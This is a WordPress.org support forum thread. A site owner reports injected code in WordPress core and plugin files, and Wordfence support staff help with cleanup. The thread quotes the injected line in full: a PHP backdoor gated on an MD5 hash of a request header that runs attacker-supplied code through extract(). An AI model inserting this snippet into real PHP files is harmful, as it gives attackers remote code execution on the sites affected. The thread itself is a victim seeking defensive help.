Title: Files Being Modified With Following Code
Last modified: August 22, 2016

---

# Files Being Modified With Following Code

 *  Resolved [himagarwal](https://wordpress.org/support/users/himagarwal/)
 * (@himagarwal)
 * [11 years, 8 months ago](https://wordpress.org/support/topic/files-being-modified-with-following-code/)
 * One of my website was compromised. Since it only had like 5 pages. I saved all
   the pages text and completely deleted the files & database and installed everything
   from start. I also changed database username, pass but didn’t change addon/ftp
   pass.
 * After installing wordfence, sucuri & acunetix wp security and configuring these
   plugins i thought i have pretty secured my website. Site is hosted in HostGator.
 * But to my surprise within like 24 hours 4 of my core files where modified
 * Critical Problems:
    * WordPress core file modified: wp-admin/edit-form-advanced.
   php * WordPress core file modified: wp-includes/date.php * WordPress core file
   modified: wp-includes/ms-default-filters.php
 * Warnings:
    * Modified plugin file: wp-content/plugins/add-tags-and-category-to-
   page/includes/tcp_footer.php
 * When checked through wordfence showed that all file has an added line at the 
   top of the which is:
 *  <?php if(@md5($_SERVER[‘HTTP_PATH’])===’5cd2973f835de94b560b62465d5a37f3′){ 
   [@extract](https://wordpress.org/support/users/extract/)($_REQUEST); [@die](https://wordpress.org/support/users/die/)(
   $stime($mtime)); } ?>
 * I am pretty sure this is a hack, but I am not getting how they are getting through
   my site when everything is up-to-date, all freely available plugins has only 
   been installed (nothing privacy of any sort).
 * Also, can someone decode that code… what is it about… and how can i protect the
   site… i am really concerned..though i have now also changed the ftp/addon password
 * please help me!
 * [https://wordpress.org/plugins/wordfence/](https://wordpress.org/plugins/wordfence/)

Viewing 5 replies - 1 through 5 (of 5 total)

 *  [WFBrian](https://wordpress.org/support/users/wfbrian/)
 * (@wfbrian)
 * [11 years, 8 months ago](https://wordpress.org/support/topic/files-being-modified-with-following-code/#post-5615718)
 * The default FTP password looks like the original vulnerability to me. You’ll 
   definitely want to get rid of that line of code. Run another scan. Wordfence 
   should give you the option to repair the file.
 * [http://www.wordfence.com/docs/how-to-clean-a-hacked-wordpress-site-using-wordfence/](http://www.wordfence.com/docs/how-to-clean-a-hacked-wordpress-site-using-wordfence/)
 * Thanks,
    Brian
 *  Thread Starter [himagarwal](https://wordpress.org/support/users/himagarwal/)
 * (@himagarwal)
 * [11 years, 8 months ago](https://wordpress.org/support/topic/files-being-modified-with-following-code/#post-5615722)
 * Thank you for your reply Brian!
 * I was not using default FTP password created by cPanel. I had FTP/addon password
   set to something of my own alpha-numeric like a year ago. (I think the default
   cPanel password would be more tough to break as it uses special characters in
   a wild manner.)
 * I did everything from scratch – new files, new database, new database user/pass,
   new wp user / login details etc. but I didn’t changed FTP pass. So, maybe you
   are correct regarding hack via FTP but I still doubt it..
 * Though, now I have changed FTP password & cPanel password. I’ve shared hosting
   at HostGator. I’ll let you know if weird things doesn’t happen in coming days!
 *  [WFSupport](https://wordpress.org/support/users/wfsupport/)
 * (@wfsupport)
 * [11 years, 8 months ago](https://wordpress.org/support/topic/files-being-modified-with-following-code/#post-5615859)
 * Also make sure and check the option to “scan images as executable”. I bet theres
   something in your uploads folder.
 * tim
 *  Thread Starter [himagarwal](https://wordpress.org/support/users/himagarwal/)
 * (@himagarwal)
 * [11 years, 8 months ago](https://wordpress.org/support/topic/files-being-modified-with-following-code/#post-5615864)
 * Thank you Tim for replying.
 * I did checked “scan images as executable” earlier but nothing came up, so I went
   through the files manually and didn’t find anything suspicious, but I cannot 
   confirm this; but I do feel that it was not done via that way.
 * Haven’t encountered anything yet till now after that; so MAYBE sites are secured
   now.
 * Regards,
    Himanshu
 *  [WFSupport](https://wordpress.org/support/users/wfsupport/)
 * (@wfsupport)
 * [11 years, 8 months ago](https://wordpress.org/support/topic/files-being-modified-with-following-code/#post-5615865)
 * We hope so too. 🙂
 * I’ll mark this resolved for the present. Feel free to reopen or open a new post
   if problems show up again.
 * tim

Viewing 5 replies - 1 through 5 (of 5 total)

The topic ‘Files Being Modified With Following Code’ is closed to new replies.

 * ![](https://ps.w.org/wordfence/assets/icon.svg?rev=2070865)
 * [Wordfence Security - Firewall, Malware Scan, and Login Security](https://wordpress.org/plugins/wordfence/)
 * [Frequently Asked Questions](https://wordpress.org/plugins/wordfence/#faq)
 * [Support Threads](https://wordpress.org/support/plugin/wordfence/)
 * [Active Topics](https://wordpress.org/support/plugin/wordfence/active/)
 * [Unresolved Topics](https://wordpress.org/support/plugin/wordfence/unresolved/)
 * [Reviews](https://wordpress.org/support/plugin/wordfence/reviews/)

## Tags

 * [website hack](https://wordpress.org/support/topic-tag/website-hack/)

 * 5 replies
 * 3 participants
 * Last reply from: [WFSupport](https://wordpress.org/support/users/wfsupport/)
 * Last activity: [11 years, 8 months ago](https://wordpress.org/support/topic/files-being-modified-with-following-code/#post-5615865)
 * Status: resolved